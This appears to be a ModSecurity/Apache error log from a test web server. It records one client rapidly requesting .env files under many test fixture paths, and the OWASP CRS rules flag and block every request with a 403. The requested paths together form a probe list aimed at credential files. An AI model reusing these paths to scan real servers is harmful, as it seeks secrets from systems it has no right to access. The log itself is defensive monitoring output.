[Thu Feb 26 01:03:21.289110 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl7wAAAAI&quot;]
[Thu Feb 26 01:03:21.295592 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/openapi-demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVgAAAAQ&quot;]
[Thu Feb 26 01:03:21.295803 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVgAAAAQ&quot;]
[Thu Feb 26 01:03:21.295942 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVgAAAAQ&quot;]
[Thu Feb 26 01:03:21.319616 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/sidetree-mock/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVwAAAAQ&quot;]
[Thu Feb 26 01:03:21.319877 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVwAAAAQ&quot;]
[Thu Feb 26 01:03:21.320027 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIVwAAAAQ&quot;]
[Thu Feb 26 01:03:21.347924 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/universalresolver/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWAAAAAQ&quot;]
[Thu Feb 26 01:03:21.348163 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWAAAAAQ&quot;]
[Thu Feb 26 01:03:21.348333 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWAAAAAQ&quot;]
[Thu Feb 26 01:03:21.378117 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/vc-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWQAAAAQ&quot;]
[Thu Feb 26 01:03:21.378358 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWQAAAAQ&quot;]
[Thu Feb 26 01:03:21.378667 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/node_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ-Nyc9iaYbHzIBMVEXU2QAAAAc&quot;]
[Thu Feb 26 01:03:21.378828 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWQAAAAQ&quot;]
[Thu Feb 26 01:03:21.378982 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ-Nyc9iaYbHzIBMVEXU2QAAAAc&quot;]
[Thu Feb 26 01:03:21.379142 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ-Nyc9iaYbHzIBMVEXU2QAAAAc&quot;]
[Thu Feb 26 01:03:21.401989 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/integration/env-config/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ-Nyc9iaYbHzIBMVEXU2gAAAAc&quot;]
[Thu Feb 26 01:03:21.402221 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ-Nyc9iaYbHzIBMVEXU2gAAAAc&quot;]
[Thu Feb 26 01:03:21.402399 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ-Nyc9iaYbHzIBMVEXU2gAAAAc&quot;]
[Thu Feb 26 01:03:21.417899 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWgAAAAQ&quot;]
[Thu Feb 26 01:03:21.418117 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWgAAAAQ&quot;]
[Thu Feb 26 01:03:21.418262 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWgAAAAQ&quot;]
[Thu Feb 26 01:03:21.450950 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/app_types/node/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWwAAAAQ&quot;]
[Thu Feb 26 01:03:21.451174 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWwAAAAQ&quot;]
[Thu Feb 26 01:03:21.451324 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIWwAAAAQ&quot;]
[Thu Feb 26 01:03:21.480006 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/app_types/rails/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIXAAAAAQ&quot;]
[Thu Feb 26 01:03:21.480242 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIXAAAAAQ&quot;]
[Thu Feb 26 01:03:21.480399 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIXAAAAAQ&quot;]
[Thu Feb 26 01:03:21.579950 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/node_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ-NyZqP6Uim1aZiP_g4xQAAAAY&quot;]
[Thu Feb 26 01:03:21.580239 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ-NyZqP6Uim1aZiP_g4xQAAAAY&quot;]
[Thu Feb 26 01:03:21.580394 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ-NyZqP6Uim1aZiP_g4xQAAAAY&quot;]
[Thu Feb 26 01:03:21.608172 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/integration/env-config/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ-NyZqP6Uim1aZiP_g4xgAAAAY&quot;]
